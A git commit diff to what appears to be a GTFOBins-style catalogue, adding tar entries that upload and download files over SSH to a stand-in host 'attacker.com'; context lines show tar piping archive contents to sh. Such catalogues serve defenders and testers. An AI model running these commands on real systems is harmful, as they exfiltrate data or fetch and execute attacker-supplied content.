Add file-download and file-upload to tar

This commit is contained in:
Roman Mueller 2019-10-01 13:16:50 +02:00 committed by Andrea Cardaci
parent 26ea00d78a
commit 3a0179306c

View File

@ -11,6 +11,21 @@ functions:
tar cf "$TF.tar" "$TF" tar cf "$TF.tar" "$TF"
tar xf "$TF.tar" --to-command sh tar xf "$TF.tar" --to-command sh
rm "$TF"* rm "$TF"*
file-upload:
- description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_send.tar
export LFILE=file_to_send
tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh
file-download:
- description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
code: |
export RHOST=attacker.com
export RUSER=root
export RFILE=/tmp/file_to_get.tar
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
file-write: file-write:
- description: This only works for GNU tar. - description: This only works for GNU tar.
code: | code: |